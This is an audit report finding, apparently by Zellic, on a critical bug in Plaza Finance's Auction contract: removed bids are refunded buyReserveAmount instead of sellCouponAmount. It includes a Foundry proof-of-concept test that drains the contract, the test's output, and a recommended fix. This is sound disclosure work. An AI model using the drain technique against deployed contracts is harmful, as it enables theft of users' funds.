Assessment reports>Programmable Derivatives>Critical findings>A malicious bidder could drain the Auction contract
Category: Coding Mistakes

A malicious bidder could drain the Auction contract

Critical Severity
Critical Impact
High Likelihood

Description

Bidders can use coupon tokens through the Auction contract to purchase the underlying pool assets. When bidders place a bid, they will send sellCouponAmount amount of coupon tokens to the Auction contract. If the number of bids exceeds the maxBids or if the total amount of coupon tokens paid by bidders is greater than totalBuyCouponAmount, the contract will remove some low-priced bids and return the coupon tokens paid to the bidder.

function bid(uint256 buyReserveAmount, uint256 sellCouponAmount) external auctionActive returns(uint256) {
    // [...]

    // Transfer buy tokens to contract
!   IERC20(buyCouponToken).transferFrom(msg.sender, address(this), sellCouponAmount);

    Bid memory newBid = Bid({
      bidder: msg.sender,
      buyReserveAmount: buyReserveAmount,
!     sellCouponAmount: sellCouponAmount,
      nextBidIndex: 0, // Default to 0, which indicates the end of the list
      prevBidIndex: 0, // Default to 0, which indicates the start of the list
      claimed: false
    });
    // [...]
}

The Auction contract uses the function _removeBid to remove a bid, which will transfer buyReserveAmount amount of coupon tokens to the bidder instead of sellCouponAmount.

function _removeBid(uint256 bidIndex) internal {
    Bid storage bidToRemove = bids[bidIndex];
    
    // [...]

    address bidder = bidToRemove.bidder;
    uint256 buyReserveAmount = bidToRemove.buyReserveAmount;
!   uint256 sellCouponAmount = bidToRemove.sellCouponAmount;
    currentCouponAmount -= sellCouponAmount;
    totalSellReserveAmount -= buyReserveAmount;

    // Refund the buy tokens for the removed bid
!   IERC20(buyCouponToken).transfer(bidder, buyReserveAmount);

    // [...]
}

Impact

A malicious bidder could drain coupon tokens in the Auction contract. Here is a possible scenario. Assume the maxBids is 1,000, and there are 999 bids.

  1. A malicious bidder adds a bid with the lowest price and sets buyReserveAmount to the drainable amount.

  2. The malicious bidder adds another bid with a higher price to let the Auction contract remove the lowest-price bid.

  3. The Auction contract transfers the drainable amount of coupon tokens to the malicious bidder.

The following proof-of-concept script demonstrates that a malicious bidder could drain the Auction contract:

function testAuditAuctionDrain() public {
    vm.prank(governance);
    _pool.setAuctionPeriod(10 days);

    vm.warp(block.timestamp + 95 days);
    _pool.startAuction();

    (uint256 currentPeriod,) = _pool.bondToken().globalPool();
    address auction = _pool.auctions(currentPeriod);
    Auction _auction = Auction(auction);

    Token usdc = Token(_pool.couponToken());

    // logic from testRemoveManyBids() in Auction.t.sol
    uint256 initialBidAmount = 1000;
    uint256 initialSellAmount = 25000000000000000000;

    // Create 999 bids
    for (uint256 i = 0; i < 999; i++) {
    address newBidder = address(uint160(i + 1));
        vm.startPrank(newBidder);
        usdc.mint(newBidder, initialSellAmount);
        usdc.approve(address(auction), initialSellAmount);
        _auction.bid(initialBidAmount, initialSellAmount);
        vm.stopPrank();
    }

    address attacker = address(0x1337);
    vm.startPrank(attacker);
    usdc.mint(attacker, initialSellAmount * 3);
    usdc.approve(address(auction), initialSellAmount * 3);
    console.log("auction usdc balance: ", usdc.balanceOf(address(auction)));
    console.log("attacker usdc balance: ", usdc.balanceOf(attacker));

    // make lowest bid
    uint256 drainableAmount = usdc.balanceOf(address(auction)) + 74999999999999999000; // from execess; (expceted ramaining from other bids removing)
    _auction.bid(drainableAmount, initialSellAmount);

    // make highest bid
    uint256 highBidAmount = 500;
    uint256 highSellAmount = initialSellAmount * 2;
    _auction.bid(highBidAmount, highSellAmount);

    console.log("-----------------after exploit-----------------");
    console.log("auction usdc balance: ", usdc.balanceOf(address(auction)));
    console.log("attacker usdc balance: ", usdc.balanceOf(attacker));

    vm.stopPrank();
}

The following text is the result of the proof-of-concept script:

[PASS] testAuditAuctionDrain() (gas: 500826389)
Logs:
  auction usdc balance:  24975000000000000000000
  attacker usdc balance:  75000000000000000000
  -----------------after exploit-----------------
  auction usdc balance:  0
  attacker usdc balance:  25049999999999999999000

Recommendations

Change the amount of coupon tokens transferred in the function _removeBid from buyReserveAmount to sellCouponAmount.

Remediation

This issue has been acknowledged by Plaza Finance, and a fix was implemented in commit 08d60707.

Zellic © 2025Back to top ↑